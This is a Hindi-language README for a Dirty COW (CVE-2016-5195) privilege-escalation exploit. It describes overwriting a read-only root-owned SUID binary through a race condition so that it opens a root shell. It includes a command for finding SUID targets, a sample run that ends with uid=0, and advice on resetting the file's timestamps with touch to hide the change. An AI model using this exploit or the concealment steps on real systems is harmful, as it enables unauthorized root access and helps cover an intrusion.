
CVE-2016-5195 के लिए उदाहरण एक्सप्लॉइट
मैं इस कोड के साथ आपके किसी भी कार्य के लिए जिम्मेदार नहीं हूँ। यह कोड बिना किसी वारंटी के आता है।
CVE-2016-5195 के लिए शोषण जो एक रीडओनली SUID निष्पादन योग्य को मेमोरी (रीडओनली) में मैप करता है और
रेस कंडीशन का उपयोग करके इसे हमारे द्वारा चुने गए ELF से ओवरराइट करता है। पेलोड
NASM प्रारूप में शोषण कोड (cowshell-x86.asm && cowshell-x86_64.asm) के साथ उपलब्ध हैं, यदि
आप cashm0ney के अंदर देखना चाहते हैं।
पेलोड setuid(0) के साथ एलिवेट करता है, vm.dirty_writeback_centisecs में 0 रखता है
फ़ाइलसिस्टम राइटबैक के कारण क्रैश को रोकने के लिए, और एक शेल (/bin/sh) खोलता है।
यह संस्करण /proc/self/mem पर लिखने का प्रयास नहीं करता है, इसलिए यह
CentOS/RHEL बॉक्स पर कार्य करने योग्य होना चाहिए। फिर भी ptrace पर निर्भर करता है, इसलिए यदि ptrace
लक्ष्य सिस्टम पर प्रतिबंधित है तो यह विफल हो सकता है।
एक रूट-स्वामित्व वाली SUID निष्पादन योग्य खोजें जिस पर आपके वर्तमान उपयोगकर्ता के पास कम से कम पढ़ने की पहुंच हो:
find / -type f -perm 4755
meow@dirtytest:~/Desktop$ ./derpyc0w /bin/ping /tmp/ping [*] Opened /bin/ping [*] Backing up /bin/ping to /tmp/ping [*] File mapped at 0x0x7f0cbe7ce000 [*] Waiting for child to alert [*] Starting madvise thread. [*] Alerted by child. [*] Preparing to write 262 bytes [*] Trying to perform writes. [*] Wrote byte to 0 [*] Wrote byte to 1 [*] Wrote byte to 2 [*] Wrote byte to 3 [*] Wrote byte to 4 [*] Wrote byte to 5 [*] Wrote byte to 6 [*] Wrote byte to 7 [*] Wrote byte to 8 SNIP [*] Wrote byte to 259 [*] Wrote byte to 260 [*] Wrote byte to 261 [+] w00t, writes finished [+] Popping shell. Remember to restore /bin/ping from /tmp/ping with correct perms! # id uid=0(root) gid=1000(meow) groups=1000(meow),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),115(lpadmin),131(sambashare) #
जो बाइनरी ओवरराइट हो गई है, उसे बनाए गए बैकअप से उसके मूल पथ पर पुनर्स्थापित करें, और chown && chmod के साथ इसे सही स्वामित्व और अनुमतियों पर वापस सेट करना याद रखें। टच के साथ संशोधन तिथियों को वापस सेट करें ताकि तीनों चीजें ठीक हो जाएं।